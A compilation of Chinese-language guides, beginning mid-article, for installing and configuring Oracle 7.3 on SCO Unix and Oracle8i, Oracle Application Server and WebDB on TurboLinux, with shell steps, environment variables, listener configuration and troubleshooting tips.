# /etc/mount -f RCKRDG,lower /dev/cd0 /cdrom

# exit

$ su - oracle7

$ cd /cdrom/orainst

$ ./orainst

选择：custom方式

注：字符集WE8ISO8859P1

八 当安装程序提问 是否已执行rootpre.sh时，选NO （还没有）退出安装程序。

cd /cdrom/orainst

./rootpre.sh

./orainst

九 安装选件

Oracle On-Line Viewer

Oracle Unix installer 4.0.1

Oracle distributed Database

Oracle Server(RDBMS) 7.3

PL/SQL V2.3

SQL*NET

SQL*PLUS

TCP/IP Protocal Adapter

十 执行root.sh

$ su root

# cd $ORACLE_HOME/orainst

# ./root.sh

安装完成

请启动数据库，在本地运行SQL*Plus测试一下。

十一 修改初始化文件

cd $ORACLE_BASE/admin/oracle/pfile

vi initoracle.ora

Oracle的参数调整

$cd $ORACLE_HOME/dbs

$vi initoracle7.ora

除了将processes的参数保持为“Small”，其他各项的参数均打开为“Large”，且该数据库的“Total System Global Area”的大小（启动数据库时显示）为服务器所带内存的1/2~2/3之间，如果上述参数调整后达不到这个大小，则要对参数db_block_buffers的大小进行修改（增大其大小）。

另外还须将compatible的参数调整为：7.3.0.0 。

每次参数调整后要重启数据库才回生效。

$ svrmgrl

SVRMGR>connect internal

Connected.

SVRMGR>startup

ORACLE instance started.

Total System Global Area 38791712 bytes

Fixed Size 41880 bytes

Variable Size 12371592 bytes

Database Buffers 26214400 bytes

Redo Buffers 163840 bytes

Database mounted.

Database opened.

SVRMGR>shutdown immediate

Database closed.

Database dismounted.

ORACLE instance shut down.

SVRMGR>

SVRMGR>

十一 编辑listener.ora tnsnames.ora

#cp $ORACLE_HOME/network/admin/*.ora /etc

#cd /etc

#chown oracle7:dba tnsnames.ora

#chown oracle7:dba listence.ora

#vi tnsnames.ora

------------------------------------------------------

Tnsnames.ora编辑为

Oracle7=

(DESCRIPTION=

(ADDRESS=(PROTOCOL=TCP)(Host=sjztkl)(Port=1521))

(CONNECT_DATA=(SID=oracle7))

)

------------------------------------------------------

#vi listener.ora

------------------------------------------------------

listener.ora编辑为:

LISTENER=

（ADDRESS_LIST=

(ADDRESS=(PROTOCOL=TCP)(Host=sjtkl)(Port=1521))

)

SID_LIST_LISTENER=

(SID_LIST=

(SID_DESC=

(GLOBAL_DBNAME=sjztkl.)

(ORACLE_HOME=/u/oracle7/product/734)

(SID_NAME=oracle7)

)

)

STARTUP_WAIT_TIME_LISTENER=0

CONNECT_TIMEOUT_LISTENER=10

TRACE_LEVEL_LISTENER=OFF

------------------------------------------------------

#exit

十二 手动启动监听进程

$cd $ORACLE_HOME/bin

$lsnrctl start

看监听进程是否成功启动。

如果启动成功，在工作站上测试是否可以通过SQL*Net连接到服务器的ORACLE上。

十四 实现机器启动后ORACLE数据库和Listener的自启动

#cd /etc

#vi oratab 将N改为Y

#cd /etc/rc2.d

#vi S100dbstart

建立的新文件，键入：

su oracle7 -c /u/oracle7/product/734/bin/dbstart &

#cd /etc/rc0.d

#vi K100dbshut

建立的新文件，键入：

su oracle7 -c /u/oracle7/product/734/bin/dbshut & sleep 1000

---------(以下带“;”号的为注释部分，可省去)--------- -------------------

; vi lsnrstart(在目录：$ORACLE_HOME/bin下)

; 建立的新文件, 键入： /u/oracle7/product/734/bin/lsnrctl start

;往文件S100dbstart中键入：su- oracle7 -c /u/oracle7/product/734/bin/lsnrstart &

; vi lsnrstop(在目录：$ORACLE_HOME/bin下)

; 建立的新文件, 键入： /u/oracle7/product/734/bin/lsnrctl stop

;往文件K100dbshut中键入：su - oracle7 -c /u/oracle7/product/734/bin/lsnrstop & sleep 1000

; 注：文件lsnrstart和lsnrstop的读写权限为：-rwxr-xr-x

------------------------------------------------------------------

# su - oracle7

$ cd $ORACLE_HOME/bin

$ vi dbstart 将启动lsnrctl的语句加入

/svrmgrl 查找字符串

键入：$ORACLE_HOME/bin/lsnrctl start

(放在该句"#Figure out if this is a V5,V6 or V7 database"之上)

$ vi dbshut 将停止lsnrctl的语句加入

/svrmgrl 查找字符串

键入：$ORACLE_HOME/bin/lsnrctl stop

(放在该句"#See if it is a V6 or V7 database"之上)

$exit

$/etc/shutdown

重启后测试，ORACLE数据库是否已经启动成功，监听进程时是否已经启动成功（工作站可以通过SQL*Net连接到服务器的ORACLE上）

十六 重新启动


Oracle技术网—Oracle .com 套件在TurboLinux上的安装

Oracle .com 套件在TurboLinux上的安装
来源：中国超级Unix联盟
作者：于义海

正文： “Oracle .com套件”是Oracle公司向中档市场和新创业的Internet公司提供的能在Internet上开发和部署应用程序的强大综合平台，也是一种帮助企业将自己的业务迅速升级到电子商务领域的综合性开发和部署平台。它主要包括以下产品和服务： lOracle8i标准版 lOracle JServer lOracle Application Server lOracle JDeveloper lOracle WebDB lOracle 银牌技术支持 由于JServer是Oracle8i的选件，而JDeveloper目前仅运行于Windows98/NT平台且安装非常容易，所以本文主要介绍Oracle8i、Oracle Application Server 和Oracle webDB三个产品在TurboLinux Server 6.0中文版上的安装过程。Oracle的安装配置优化是一项非常复杂细致的工作，这不是本文的重点，本文是想帮助那些初次在Linux平台上安装Oracle产品的用户能够很快顺利地安装成功Oracle产品。另外本文也将描述TurboLinux DataServer With Oracle8i 6.0产品中Oracle8i的安装。 由于Oracle的安装帮助文档在产品中不是显而易见，所以将它们打包在这里以节省您的时间：

oracle_help.tar.gz oas_help.tar.gz

webdb_help.tar.gz

解压缩后请浏览toc.htm文件。

Oracle8i的安装 Oracle Application Server 4.0的安装 WebDB2.2的安装 Oracle8i的安装

u 系统需求

u TurboLinux DataServer With Oracle8i 6.0产品中Oracle8i的安装

u 服务器端的安装

u 客户端的安装

u 技巧

u 常见问题

1.系统需求

内存 >=128MB 建议256MB以上 交换区 建议2倍内存以上 硬盘 建议除操作系统外有2GB的硬盘空间 JRE 1.1.6v5 2.TurboLinux DataServer With Oracle8i 6.0产品中Oracle8i的安装 TurboLinux DataServer With Oracle8i 6.0是TurboLinux Server 6.0与Oracle8i for Linux捆绑的结果，其主要特点是Oracle8i的安装非常简单，不需用户做任何工作。另外操作系统也为Oracle8i做了许多优化。如果您购买的是这一款产品，那么Oracle8i的安装将是一件非常轻松的事情。其安装步骤如下： 1)安装操作系统：TurboLinux Server6.0； 2)重新引导操作系统，引导成功后系统提示“是否安装Oracle8i?”,如果选择了安装，系统会进一步提示安装服务器还是安装客户端，只能选择其一，缺省是安装服务器；另外安装服务器时还有一个选项“安装缺省数据库”，如果选中，将为用户自动创建缺省数据库。这个提示确认后，系统就会自动将Oracle8i服务器或客户端安装成功。不再需要人工干预。 3)读者可以注意到，Oracle8i的安装盘上有三个RPM包： Oracle8i-8.1.5.0.2-1.i386.rpm Oracle8i-Client-8.1.5.0.2-1.i386.rpm Oracle8i-DefaultDB-8.1.5.0.2-1.i386.rpm 读者也可自己用rpm命令安装或删除相应的软件包。 使用本款产品时需要注意的有： 1)该产品自动创建组dba，自动创建用户Oracle，并将产品安装在Oracle用户下； 2)由于该产品使用Oracle的缺省安装路径/u01/app/oracle/product/8.1.5，所以缺省在/分区安装，因此如果安装服务器必须保证/分区在安装完操作系统后剩余空间在1.2GB以上；如果安装客户端必须保证/分区在安装完操作系统后剩余空间在260MB以上； 3)对于2）提到的问题有一种更好的解决方案：将操作系统外的一个分区或一块硬盘mount到/u01。类似的方法可以将缺省数据库放到一个独立的分区或硬盘上； 4)由于服务器和客户均安装在Oracle用户下，且安装在同一路径下，所以要在同一台机器上同时安装服务器和客户端，需要手工做一些工作； 5)安装完客户端后，需要根据服务器的设置手工调整tnsnames.ora文件； 6)创建的缺省数据库的字符集是US7ASCII，如果想创建中文字符集（zhs16cgb231280或zhs16gbk）的数据库可以用dbassist工具创建新的数据库； 7)建议你详细阅读一下后面的内容，肯定会有些帮助。 3.服务器端的安装 Oracle8i服务器的安装主要有这样几步： l 准备工作 l 创建组 l 创建用户 l 设置环境变量 l 运行安装程序 l 安装补丁（Patch） l 创建数据库 l 配置Net8 l 服务器启动和关闭 下面逐一论述。 1)准备工作 检查内存、硬盘空间； 检查swap区大小； 检查是否安装jre1.1.6v5(/usr/local)，如未安装请安装并连接到/usr/local/jre； 检查文件创建属性，设为：umask 022； 如果你是从光盘安装，请先mount光盘：mount /dev/cdrom /mnt/cdrom 如果你的oracle软件包是tar格式，比如：Oracle815_Intel.tar.gz ，请先解到一个临时目录，用命令： tar zxvf Oracle815_Intel.tar.gz 并使该目录为后面创建的oracle用户所拥有； 如果你是其他版本的Linux，还需检查你的kernel版本、glibc版本以及操作系统的共享内存和信号量的配置，可参考前面提供的oracle产品中的安装指南； 2)创建组 对oracle产品的使用，可以区分为两种角色：数据库管理员也就是DBA和数据库使用者也就是OPERATOR。因此一般会创建两个组：dba和oper。 用命令： groupadd –g 500 dba groupadd –g 600 oper

3)创建用户 创建oracle用户，将oracle安装在该用户下，并由它来管理oracle数据库。用命令： useradd –u 501 –g 500 –d /home/oracle oracle

注意：Oracle的安装说明建议创建三个用户并使用OFA或OFA兼容的目录结构，我们知道对一个工具只有我们会使用它然后再研究如何把它使用的更好才有意义，因此我建议你只建一个用户oracle，并将ORACLE_HOME设为oracle用户的家目录，同时不要设环境变量ORACLE_BASE（不使用OFA或OFA兼容的目录结构）。

4)设置环境变量 环境变量的设置是oracle安装和使用过程中非常重要的工作，原则上运行oracle的安装程序runInstaller之前设一个环境变量ORACLE_HOME即可，如果创建的数据库使用非缺省字符集（US7ASCII），还需设ORA_NLS33和NLS_LANG两个环境变量，其他的环境变量可在安装后设，但我建议一次将这些环境变量写在oracle用户的注册shell(.bashrc或.bash_profile)中。需设置的环境变量如下，具体的值要根据你的实际情况有所调整： ORACLE_HOME=/home/oracle;export ORACLE_HOME ORACLE_SID=ora8i;export ORACLE_SID LD_LIBRARY_PATH=$ORACLE_HOME/lib;export LD_LIBRARY_PATH PATH=$PATH:$ORACLE_HOME/bin:. CLASSPATH=$ORACLE_HOME/jlib:/usr/local/jre/lib/i686/green-threads;export CLASSPATH TNS_ADMIN=$ORACLE_HOME/network/admin/tnsnames.ora;export TNS_ADMIN 以下两个环境变量只有在创建数据库使用非缺省字符集时才需要，而NLS_LANG的设定要根据你使用的具体字符集，这里给出的是使用简体中文字符集zhs16cgb231280的设定方式。 ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data NLS_LANG=“SIMPLIFIED CHINESE“_CHINA.zhs16cgb231280;export NLS_LANG

5)运行安装程序 现在可以运行oracle的安装程序runInstaller，可以采用XFCE窗口环境或Turbolinux Workstation的KDE窗口环境，不能使用GNOME窗口环境。另外如果在中文环境下需要屏蔽掉环境变量LC_ALL: unset LC_ALL

运行 ./runInstaller 选择安装服务器产品，根据提示一步步开始安装。其间需要以root用户运行文件/tmp/orainstRoot.sh和$ORACLE_HOME/root.sh。这个过程大约需要30分钟。然后安装程序会提示你是否创建数据库，建议你继续创建数据库。但在创建数据库之前，建议你在另一个命令窗口将Oracle8i的补丁安装上。

6)安装补丁（Patch） 将补丁文件在oracle用户的某个目录下解开，运行： linux_815pathces.sh 补丁即安装完成。

7)创建数据库 数据库的建立可以在安装过程中建立，也可以用工具dbassist建立。创建数据库需要注意的有： l 数据库的创建时间根据你机器的性能及选项不同而不同，一般需要2个小时左右； l 数据库的创建有典型（typical）和定制（custom）两种方式，如果你要使用中文字符集要选择定制方式安装，并设置中文字符集，典型方式安装使用缺省字符集（US7ASCII）。不管你选用哪种字符集，oracle数据库都可以存储多字节字符记录，比如数据库使用缺省字符集，其表的记录值可以是中文的，但表的字段名、表名、视图名等如果想采用中文却是不可以的，如果想达到这个目的，创建数据库时就要采用中文字符集。 l 服务器安装及数据库创建的日志存储在$ORACLE_HOME/install目录下，可以用more命令查看，也可以用“tail –f **”命令跟踪。比如正在创建数据库的interMedia部分，可以用命令 tail –f install/iMediainst.log 跟踪创建过程中是否有错误出现。 l 数据库创建完后，请修改其参数文件$ORACLE_HOME/dbs/initsid.ora将行 #rollback_segments = (r0, r1, r2, r3) 的注释去掉，以使回滚段在数据库启动时就起作用。 l 数据库创建完一般会有三个用户：

system/manager(用户名/口令) sys/change_on_install scott/tiger(demo用户) 验证scott用户的存在可以用如下方法： 在oracle用户下运行： sqlplus scott/tiger SQL> select table_name from tabs; TABLE_NAME --------------------- BONUS scott用户的表 DEPT EMP SALGRADE SQL> desc emp emp的表结构 Name Null? Type ----------------------- -------- ----------------------------- EMPNO NOT NULL NUMBER(4) ENAME VARCHAR2(10) JOB VARCHAR2(9) MGR NUMBER(4) HIREDATE DATE SAL NUMBER(7,2) COMM NUMBER(7,2) DEPTNO NUMBER(2) l 检查/etc/oratab文件内容，每创建一个数据库这个文件应添一行，该文件供命令dbstart和dbshut使用。

8)配置Net8 配置Net8，启动监听进程，以使客户端可以访问数据库。这项工作可以使用工具netasst和netec（需要unset LC_ALL）完成。但也可参照下面的文件手工配置文件listener.ora和tnsnames.ora。注意兰色标记的部分是你需要根据实际情况调整的。

$ORACLE_HOME/network/admin/listener.ora LISTENER = (ADDRESS_LIST = (ADDRESS= (PROTOCOL= TCP)(Host= 172.16.60.82)(Port= 1521)) ) SID_LIST_LISTENER = (SID_LIST =

(SID_DESC = (GLOBAL_DBNAME= db8i) (ORACLE_HOME= /home/oracle) (SID_NAME = ora8i) ) (SID_DESC = (SID_NAME = ora8i) (ORACLE_HOME = /home/oracle) (PROGRAM = extproc) ) ) STARTUP_WAIT_TIME_LISTENER = 0 CONNECT_TIMEOUT_LISTENER = 10 TRACE_LEVEL_LISTENER = OFF

$ORACLE_HOME/network/admin/tnsnames.ora

db1 = (DESCRIPTION =(ADDRESS =(PROTOCOL= TCP)

(Host= 172.16.60.82) (Port= 1521))

(CONNECT_DATA =

(SID = ora8i) (GLOBAL_NAME=db8i) ) ) 9)Oracle8i服务器启动和关闭

用oracle用户注册，运行命令dbstart启动oracle8i服务器；再运行命令 lsnrctl start 启动监听进程。 关闭数据库使用命令dbshut。 4.客户端的安装 客户端的安装过程与安装服务器大体相同，只是不需要创建数据库和安装补丁。安装软件包时选择安装“Oracle Client”；配置Net8只需配置文件tnsnames.ora；另外注意NLS_LANG的设置一定要与服务器数据库的字符集一致。 5.技巧 1)数据库创建时的诸多选项比如“interMeida”、“JServer”等也许你根本都用不到，可以不选，我曾经创建过一个所有选项都不选的功能最少的数据库，用时约30分钟； 2)安装过程产生的日志文件在$ORACLE_HOME/install目录下，你可以用more命令去查看，也可以用“tail -f *log”命令跟踪； 3)当建多个数据库时可用/etc/oratab文件控制oracle服务器启动时mount某个数据库或某几个数据库； 4)你也许要多次安装你的数据库，建议你备份设环境变量的shell文件及listener.ora和tnsnames.ora文件； 6.常见问题 1)runInstaller不能启动？ 请检查jre是否安装，是否存在/usr/local/jre。 2)运行runInstaller时不能输入? unset LC_ALL，再运行runInstaller。 3)OUI(Oracle Universal Installer)安装网络协议时，列表框中是空的没有可选择的网络协议? 目前该版本只支持TCP/IP协议，已内置在系统中。 4)在运行DB Assistant之前显示警告:“JNLS Exception: oracle.ntp.jnls.JNLSException Unable to find anyNational Character Sets. Please check your Oracle installation.“ ？ 忽略这个警告。 5)运行netasst或netec时显示乱码？ 需要unset LC_ALL 6） 创建数据库时，如果安装到增加PL/SQL支持时，提示dbmssml.sql文件没找到？ 请先安装Oracle8i的补丁，再运行dbassist创建数据库。 7）数据库不能正常启动？ 请检查环境变量。 8）客户端与数据库服务器连接失败？ 检查：连接串是否正确？应类似于scott/tiger@db1 客户端的tnsnames.ora是否正确？ 服务器端的监听进程是否启动? 用“lsnrctl status“查看，用“lsnrctl start“启动 《返回首页》

Oracle Application Server 4.0的安装 1.系统需求

内存 >=256MB 交换区 >=256MB 硬盘 400MB JDK 1.1.8（TurboLinux Server 6.0已安装JDK1.2.2） Oracle RDBMS 8.0.6/8.1.5 HTTP Listeners Oracle Listener 4.0.8.1.0 (Spyglass 2.14) 40 bit Apache 1.3.6 或以上版本

2.创建组和用户

OAS(Oracle Application Server)可以和Oracle8i服务器安装在同一台机器上，但最好安装在不同的机器上。如果安装在同一台机器上，一定要装在不同的用户不同的目录下，比如Oracle8i装在oracle用户/home/oracle目录下，OAS装在oas用户/home/oas目录下。要为OAS创建单独的用户。 3.设环境变量 这里要设的环境变量比较多，如下所述，前七个我们在Oracle8i的安装中已见过，其意义是一样的，但值略有不同。 ORACLE_HOME=/home/oas;export ORACLE_HOME ORACLE_SID=ora8i;export ORACLE_SID LD_LIBRARY_PATH=$ORACLE_HOME/lib: $ORACLE_HOME/orb/4.0/lib:$ORAWEB_HOME/lib;export LD_LIBRARY_PATH PATH=$PATH:$ORACLE_HOME/bin: $ORACLE_HOME/orb/4.0/bin: $ORACLE_HOME/orb/4.0/admin/cgi: $ORAWEB_HOME/bin: $ORAWEB_HOME/admin/cgi;export PATH CLASSPATH=$ORAWEB_HOME/classes:$ORAWEB_HOME/admin;export CLASSPATH TNS_ADMIN=$ORACLE_HOME/network/admin/tnsnames.ora;export TNS_ADMIN ORACLE_BASE #建议不使用 ORACLE_TERM =386 #由于安装程序是字符终端模式 ORAWEB_HOME = $ORACLE_HOME/ows/4.0 ORAWEB_SITE = website40 ORB_HOME =$ORACLE_HOME/orb/4.0 TMPDIR = /var/tmp 4.运行安装程序 安装程序orainst是一个shell程序，需要做一点修改，将行 if [ ! -f $JDK_HOME/bin/linux/native_threads/java ]; then 改为 if [ ! -f $JDK_HOME/bin/ java ]; then 运行安装程序orainst，输入JDK目录“/usr/lib/jdk1.2.2”，然后按照提示一步一步去做，尽可能使用缺省设置。注意： 不要选择OFA兼容结构； 选择完全安装； 语言可以选择中文，但目前的版本对中文的支持还不是很好； 安装日志文件是$ORACLE_HOME/orainst/install.log； 安装后形成的环境变量文件是 $ORACLE_HOME/ows/4.0/install/owsenv_bsh.sh，你可以根据文件的内容进一步调整oas用户的注册shell； 5.OAS运行和关闭 1）启动Oracle Web Server服务进程 owsctl start 2）利用浏览器管理OAS服务。在浏览器中输入：http://（OAS所在机器）：8888 显示欢迎界面，进一步选择“OAS Manager”，可以启动或关闭OAS的服务进程： oassrv-----Oracle Application Server wrksf------Cartridge Server Factory otsfacsrv--Transaction Server Factory orb---------ORB Servers 如果正常启动，在“Status”域会有一面绿色的旗帜，但标志为红色的旗帜，倒不一定是有问题，更多的可能是该项服务没有请求，如果有请求它会自动启动。 3）由于java的运行库比较分布，你也许要向LD_LIBRARY_PATH中加很多路径，才能保证OAS服务进程启动。 《返回首页》

WebDB2.2的安装

1.准备工作 lmount产品CD； l 需要知道数据库的SYS用户的口令，安装后缺省为“change_on_install”； l 数据库服务器必须正在运行； l 检查数据库服务器的参数文件initsid.ora，确认参数“MAX_ENABLED_ROLES”的设置大于25，比如 MAX_ENABLED_ROLES=80 确认行 #rollback_segments = (r0, r1, r2, r3) 的注释去掉； lWebDB缺省安装在表空间USERS，必须保证该表空间的剩余大小大于30MB，可以用SQL命令 SQL>select tablespace_name,sum(bytes) from dba_free_space where tablespace_name=‘USERS‘ group by tablespace_name; TABLESPACE_NAME SUM(BYTES) -------------- --------------- USERS 320272384 查看，用SQL命令 alter tablespace users add datafile ‘/home/oracle/dbs/ordata/user02.dbf‘ size 30M; 修改。

2.创建用户 必须为WebDB创建自己的用户，比如webdb。如果将其和Oracle8i或OAS安装在同一台机器上，必须建不同的用户并放在不同的目录下，比如WebDB放在/home/webdb下。

3.设置环境变量 ORACLE_HOME=/home/webdb;export ORACLE_HOME ORACLE_SID=ora8i;export ORACLE_SID ORACLE_TERM=386;export ORACLE_TERM PATH=$PATH:$ORACLE_HOME/bin;export PATH LD_LIBRARY_PATH=$ORACLE_HOME/lib;export LD_LIBRARY_PATH TNS_ADMIN=$ORACLE_HOME/network/admin/tnsnames.ora;export TNS_ADMIN ORATAB_FAIL=TRUE;export ORATAB_FAIL

4.运行安装程序 运行安装程序 ./orainst 该程序以字符模式运行。根据提示一步步执行，当执行到需要输入SYS用户的口令和输入“TNS Names Alias”时，用另一个命令窗口创建文件$ORACLE_HOME/network/admin/tnsnames.ora，并保证利用该文件可以访问数据库，然后再到刚才的窗口中输入刚创建的“TNS Names Alias”。 安装“WebDB Listener“时，最好将“Listener Port“设为大于1024，比如1800，这样可以省去一些安装工作；安装大约需要40分钟；安装日志文件在目录$ORACLE_HOME/orainst下。

5.WebDB的使用 1)启动WebDB Listener wdbstart yourserver 1800 start& 2)在任意机器的浏览器上访问：http:// yourserver:1800/webdb/webdb.home 如果安装时你给定的WebDB Schema的名字不是缺省的名字webdb，而是其他的名字比如wdb1，那么访问时用地址： http:// yourserver:1800/webdb/wdb1.home 3)管理WebDB Listener用地址：

http://yourserver:1800/admin_/gateway.htm http://yourserver:1800/admin_/listener.htm 6.常见问题 1)orainst启动后界面混乱？ ORACLE_TERM环境变量设的不正确。 2)显示错误：不能创建更多的角色？ 在initsid.ora中将MAX_ENABLED_ROLES设为大于25，并重新启动oracle服务器。 3)显示错误：SYS口令不正确或TNS Names Alias错误？ 更可能的是你定义的TNS Name有问题。你此时用sqlplus不能访问数据库。必须保证sqlplus可以访问数据库。 4)安装很长时间不能完成？ 查看日志文件wdb_install-packages.log若发现有很多错误： “cannot use system rollback segment for non-system tablespaces USERS”。查看一下initsid.ora，行 rollback_segments = (r0, r1, r2, r3) 是否被注释掉。请去掉注释。 5)你如果重新安装WebDB? 建议你安装前将以前安装的WebDB Schema用SQL命令全部删掉。 SQL>drop user webdb cascade; SQL>drop user webdb1 cascade;


Oracle技术网—ORACLE 7.3 Enterprise在SCO OPEN SERVER 5.02 及 5.04 的安装过程

Oracle For Sco

ORACLE 7.3 Enterprise
在SCO OPEN SERVER 5.02 及 5.04 的安装过程

1． 安装前准备
a. 恰当地划分用户文件系统及其大小， 安装ORACLE需要700兆以上空间。
b. 需要配置好TCP/IP网络
c. 需要装 SCO OPEN SERVER DEVELEPMENT SYSTEM
d. SCO OPEN SERVER 5.04 还需要先装 补丁盘oss459a
首先将oss459a 拷入/temp 目录, 并将其改名为本VOL.000.000
然后在root 用户下运行下列步骤：
# custom software install new media image
根据提示写入 /temp 路径，选install安装。
2. 修改核心参数
# scoadmin kernel manager kernel parameters
改 7. ULIMIT 3000000
15 SEMMNI 20
16 SHMMAX 20971520
重新链接核心，并重新启动。
3． 创建dba 用户组及oracle 用户。注意要将oracle 用户的 login group 及 group membership 改为 dba.
4． 以oracle 用户身份登录，改 .profile 文件。
加入 ULIMIT=3000000
ORACLE_HOME=/u/oracle/app/oracle/product/7.3.x
ORACLE_SID=ora7 (必需 <= 4 个字符)
ORACLE_TERM=ansi
另外在PATH 中加入 /ORACLE_HOME/bin
并 export 以上各项。
运行 .profile
5. 切入 root 用户
# mkdir /cdrom
# chmod 777 /cdrom
将光盘放入光驱内
# mount -f RCKRDG, lower /dev/cd0 /cdrom
换入 oracle 用户
$ cd /cdrom/orainst
$ orainst
进入安装7.3交互式界面，在安装过程中，有许多安装提示，需要用户回答，主要如下：
l Install Activity Choice----- (o) Install, Uptrade, or De-install software
l Install Options-----(o) Install New Product
l Environment Variables
l DB Objects------<Yes>
l Pre_install OS Preparetion------看见窗口提示要求运行 rootpre.sh 时
切入root 用户
# cd /cdrom/orainst
# ./rootpre.sh y, n, y, oracle, dba, y, n
（运行前先在根目录下建立/orainst路径）
运行结束后切回oracle 用户, 在Pre-install OS Preparetion 中选<Yes>,
继续安装
l Install Source
l ORACLE_SID
l NLS------ALL Languages
l Relink All Executables--------<No>
l Online Help Load-------(o) No Product
l UNIX Documentation--------<No>
l Product Documentation Library CD-ROM Install ----------(o) No Product
l ORACLE_DOC
l 进入 Software Asset Manager界面， 选择要安装的组件， 按<Install>按扭
l 余下的安装步骤，即是敲入一系列的password, 大部分都可以使用系统
默认值。但 DB Objects 的 MOUNT 点需要输入。
l 提示安装结束后， 退出ORACLE安装程序，切回root 用户
#cd /ORACLE_HOME/orainst
# ./root.sh
l 安装结束。
注： 在安装过程，可以切到另一屏， 进入$ORACLE_HOME/oraisnt 目录，
使用命令 tail -f install.log 监测整个安装进度情况。


Oracle技术网—ORACLE 7.3.4.2 for SCO Unix 安装说明

ORACLE 7.3.4.2 for SCO Unix 安装说明

（一）系统要求

1、硬件要求： CPU：486以上
内存：32M以上
硬盘：600M以上
数据库：70M以上

2、软件要求：操作系统：SCO UNIX 5.0.4

（二）安装步骤：

一、检查硬件
1、查看系统是否符合安装条件
2、调整kernel参数
# scoadmin -->选Hardware/kernel Manager -->Tune Parament
需调整的参数：
15.Semaphores/SEMMNI 10 -->70
16.Share Data/maximun shared memory 524288-->20971502
relink
3、reboot

二、生成oracle用户和dba组
1、 在 /目录下建oracle目录
# cd /
# mkdir oracle
2、建oracle用户和dba组
3、在 /oracle 目录下建以下几个子目录：
oracle
patchset
tmp
4、将patch文件拷至/oracle/patchset下
然后： # uncompress *.Z
# tar xvf SCO*
5、改变/oracle目录及其所属文件的属性
# cd /
# chown oracle:dba oracle
# cd /oracle
# chown -R oracle:dba *
# cd /oracle
# chmod 777 tmp

三、设置oracle环境变量
# cd /oracle/oracle
# vi .profile

四、mount CD
1、插入《Oracle7 Server Enterprise Edition》光盘
2、# mount /dev/cd0 /mnt

五、安装软件、建库
1、以oracle身份进入系统, 安装软件
$ cd /mnt/orainst
$ orainst
安装过程及详细步骤：
a 安装方式Install Type选用 "Custom Installation" ，
b Select the Installer activity:选"Install,Upgrade,or De_install Software"
c Installation options:Install New product -Do Not create DB Object
d Environment Variables：用默认值
e login and Status：用默认值
f Pre_Installation OS Preparation：询问是否已执行
rootpre.sh，此时切换至 root用户，
然后：# cd /mnt/orainst
# sh rootpre.sh
再切换回安装界面，选Yes
g Install Source：选Install from CD_ROM
h NLS：选All Languages
i Relink All Excutables? ：选Yes
j Software Asset Manager：此时进入安装选择画面
安装选项： Oracle Intelligent Agent
Oracle Distributed DB
Oracle Unix install
Oracle Server 7.3.4 DBMS
PL/SQL
SQL*NET
Pro*C
SQL *Module for C
SQL*Plus
TCP/IP
k DBA Group：选dba
l OSOPER Group：dba
m 开始安装直至结束

2、安装 patch
patch的作用是将 Oracle7.3.4 升至 Oracle7.3.4.2
$ cd /mnt/orainst
$ orainst
安装过程及详细步骤：
a 安装方式Install Type选用 Custom Installation
b Select the Installer activity: 选 Install,Upgrade,or De_install Software
c Installation options: 选Add/Upgrade Software
d Installation Options:Home locator : 用默认值
e loggin and Status：用默认值
f Pre_Installation OS Preparation：选Yes
g Install Source：选Install from Staging Area
h Staging Area：Temporary Staging Area
i Source Staging Area: 不输入
j NLS：选All Languages
k Relink All Excutables? ：选Yes
l Root Install Script File: Append root-related actions to this file
m Software Asset Manager：此时进入安装选择画面
用From...选择数据源路经，选:
/oaracle/patchset/7.3.4.2.0/unix.prd：
并安装：Oracle7 Server (RDBMS) 7.3.4.2.0
n Upgrade：选Yes
o Upgrade：选Yes
p DBA Group：选dba
q OSOPER Group：dba
r 开始安装直至结束

3、切换至 root 用户，执行root.sh
# cd $ORACLE_HOME/orainst
# sh root.sh
4、改cnfg.orc文件
# cd $ORACLE_HOME/rdbms/install/rdbms
# vi cnfg.orc
设: db_block_size = 4096

5、创建数据库
切换至 oracle 用户
$ cd /mnt/orainst
$ orainst
安装过程及详细步骤：
a 安装方式Install Type选用 Custom Installation
b Select the Installer activity: 选Create/Upgrade Datebase Objects
c Installation options: Create Database Objects
d Environment Variables：用默认值
e login and Status：用默认值
f Pre_Installation OS Preparation：选Yes
g ORACLE_SID：ora7
h Software Asset Manager：此时进入安装选择画面
安装选项： Oracle Intelligent Agent
Oracle Distributed DB
Oracle Server 7.3.4 DBMS
PL/SQL
SQL*NET
Pro*C
SQL *Module for C
SQL*Plus
TCP/IP
i Database Action：Create Product DB Objects
j Storage Type：选Filesystem-Based Database
k Create DB Objects(F/S): Control File Distribution: 选No
l mount Point locator(Control file 的位置): 输入 /oracle
m Character set (选择字符集): 选Others...并输入zh16cgb231280
n System Password: 输入口令两遍(manager)
o Sys Password: 输入口令两遍(manager)
p dba Password? : Yes
q dba Password: 输入口令两遍(manager)
r orapwd entries value : 16
s Configure MTS and Start a SQL*NET listener called 'listener':
选No
t Create DB Object(F/S):Control File Loctor：选Yes
u DB defaults ：用默认值
v Default DB.........：选No
w Create DB Object(F/S): System file loctor :
数据文件路径全用用默认值，大小变动如下：
SYSTEM 40M --> 80M
LOG1 550K --> 1M
LOG2 550K --> 1M
LOG3 550K -->1M
ROLLBACK 25M --> 50M
TEMP 25M --> 50M
USERS --> 50M
TOOLS 15M --> 15M
x Default DB: Yes
y Help Facility ?: Yes
z Demo Tables?: Yes
z1 开始安装直至结束

六、检查install.log文件中有无出错信息
此文件放在 /ORACLE_HOME/orainst 目录下

七、修改 oratab 文件
1、切换至root用户
2、# cd /etc
# vi oratab
将最后一个字符：N 改为 Y

八、配置SQL*NET
# cd /etc
# vi listener.ora
将 Host 修改为 安装机器的IP地址
# vi tnsnames.ora
将 Host 修改为 安装机器的IP地址

（三）Oracle数据库基本操作说明
以下操作均是以oracle用户身份进行

一、数据库的启动与关闭
有两种方式：
1、?启动数据库 ：$ dbstart
? 关闭数据库 ：$ dbshut
2、?启动数据库 ：$ svrmgrl
SVRMGR>connect internal
SVRMGR>startup
SVRMGR> exit
?关闭数据库 ：$ svrmgrl
SVRMGR>connect internal
SVRMGR>shutdown
SVRMGR> exit
二、监听程序的启动与关闭
1、启动：lsnrctl start
2、关闭：lsntctl stop

（四）附录：
1、环境配置文件：.profile
:
# @(#) profile 26.1 95/09/18
#
# Copyright (C) 1998 JXBOC

PATH=$PATH:$HOME/bin:. # set command search path
MAIL=/usr/spool/mail/`logname` # mailbox location
export PATH MAIL
ORACLE_BASE=/oracle/app/oracle;export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/7.3.4;export ORACLE_HOME
ORACLE_SID=ora7;export ORACLE_SID
ORACLE_TERM=ansi;export ORACLE_TERM
